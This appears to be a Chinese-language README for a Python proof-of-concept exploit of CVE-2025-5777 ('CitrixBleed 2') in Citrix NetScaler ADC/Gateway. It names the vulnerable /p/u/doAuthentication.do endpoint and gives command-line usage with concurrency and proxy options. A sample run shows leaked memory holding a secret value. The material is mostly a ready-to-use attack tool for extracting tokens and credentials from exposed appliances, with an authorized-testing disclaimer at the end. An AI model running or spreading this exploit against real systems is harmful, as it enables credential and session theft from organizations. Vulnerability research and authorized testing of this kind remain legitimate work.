此脚本利用了标识为 CVE-2025-5777(称为 CitrixBleed 2)的 Citrix NetScaler ADC/Gateway 设备中的严重内存泄露漏洞。它通过 /p/u/doAuthentication.do 端点触发内存泄漏,暴露包含敏感数据(如 XML 片段、令牌以及可能的凭据)的未初始化内存。
aiohttp 异步aiohttp, coloramaasyncio + aiohttp 的异步批量请求引擎<InitialValue> 内存泄露python3 CVE-2025-5777.py http://<target> [options]
| 选项 | 描述 |
|---|---|
-v, --verbose | 启用详细调试输出 |
-p <proxy> | 使用 HTTP 代理(例如 http://127.0.0.1:8080) |
-t <threads> | 并发请求数(默认:10) |
python3 CVE-2025-5777.py http://192.168.1.1 -v -t 5
_____________ _______________ _______________ ________ .________ .___________________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \ | ____/ | ____/\______ \______ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ |____ \ ______ |____ \ / / / / / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ / \ /_____/ / \ / / / / / /
\______ / \___/ /_______ / \_______ \_____ /\_______ \/______ / /______ / /____/ /____/ /____/
\/ \/ \/ \/ \/ \/ \/
Citrix NetScaler Memory Leak PoC (CVE-2025-5777)
Author: 0xgh057r3c0n
[🔄] POST → http://192.168.1.1/p/u/doAuthentication.do → Status: 200
[✔️ ] Found InitialValue Memory Leak!
[🧠] Hex Dump:
------------------------------------------------------------------------
00000000: 73 65 63 72 65 74 3d 22 61 62 63 64 31 32 33 21 secret="abcd123!
00000010: 40 23 24 25 5e 26 2a 28 29 22 3c 2f 49 6e 69 74 @#$%^&*()"</Init
00000020: 69 61 6c 56 61 6c 75 65 3e ialValue>
------------------------------------------------------------------------
[✔️ ] Leak confirmed. Continuing extraction...
此概念验证仅用于教育和授权的安全测试。 未经许可扫描或利用非您拥有的系统是非法的。